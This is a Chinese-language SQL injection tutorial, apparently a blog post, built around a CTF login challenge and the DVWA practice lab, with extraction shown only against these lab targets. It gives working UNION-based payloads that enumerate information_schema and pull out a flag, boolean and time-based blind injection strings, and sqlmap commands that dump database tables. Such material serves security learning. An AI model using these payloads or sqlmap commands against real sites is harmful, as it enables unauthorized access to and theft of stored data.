利用 UNION 把 SELECT 放在SQL 語句後面,藉此改變原本搜尋的結果
而在MySQL中,有information_schema這張表,他會記錄整個database的table跟column,因此就可以針對information_schema搭配union select,來找db裡面的東西
接下來我們用以下Login as Admin 0此題來作範例,目標是拿到FLAG,首先先看Source code
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
or 1=1
,drop
, update
, delete
等字眼,並把'
換成\\'
admin\' or 2=2 #
limit
,limit
用法為(offset, length),把user換成下一個
admin\' or 2=2 limit 1,1#
admin\' union select 1 #
admin\' union select 1,2 #
admin\' union select 1,2,3 #
admin\' union select 1,2,3,4 #
2
會回顯
function
database()
version()
user()
group_concat()
,
形式隔開列出所有的Database
admin\' union select 1,group_concat(schema_name),3,4 from information_schema.schemata #
login_as_admin0
指定該db下所有的Table
admin\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
h1dden_f14g
看Table
下所有的column
admin\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=\'h1dden_f14g\' #
admin\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=0x68316464656e5f66313467 #
the_f14g
直接查囉admin\' union select 1,group_concat(the_f14g),3,4 from login_as_admin0.h1dden_f14g #
* 拿到flag囉
DVWA安裝,可以參考官網連結,裡面也有提供docker版本
這邊我就拿DVWA當例子,我們可以先用簡單的boolean邏輯做測試,依照回傳的true/false判斷回傳資訊
# User ID exists in the database.
1' and 1=1
# User ID is MISSING from the database.
1' and 1=2
# 猜db長度
1' and length(database())=4 #
# 猜db名字(1-index),>,=,<二分法找名字
1' and ascii(substr(database(),1,1))>97
# 找幾張表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
# limit <index> <count>,猜表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
我印象中以前小時候有玩過只能問是否問題的遊戲,透過不斷地問是否,來猜出對方心中想的答案
對駭客來說更艱困的情況,連True/False都無法看到,這時候就只能用時間差來做攻擊
sleep(3)
,失敗則不sleep()
,也就是如果我等3秒代表語句為True
透過IF()
這個function,True則執行第二個參數,False則執行第三個參數
# 簡單的time-base範例
1 and if(length(database())=4,sleep(5),1) #
sleep()
,藉此擾亂時間注入攻擊的結果<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
請注意,用此工具打公家機關或其他機構網站,有可能會構成電腦犯罪,請小心使用
恩,懶人工具,整合了上述的所有injection技巧,能夠在不知道SQL Query的狀態下打出東西
以下就列幾個常用的
# 查看db
python sqlmap.py -u <url> --dbs
# 查看DB裡有甚麼表
python sqlmap.py -u <url> -D <db> --tables
# 查看table裡有甚麼column
python sqlmap.py -u <url> -D <db> -T <table> --columns
# 把資料dump下來
python sqlmap.py -u <url> -D <db> -T <table> --dump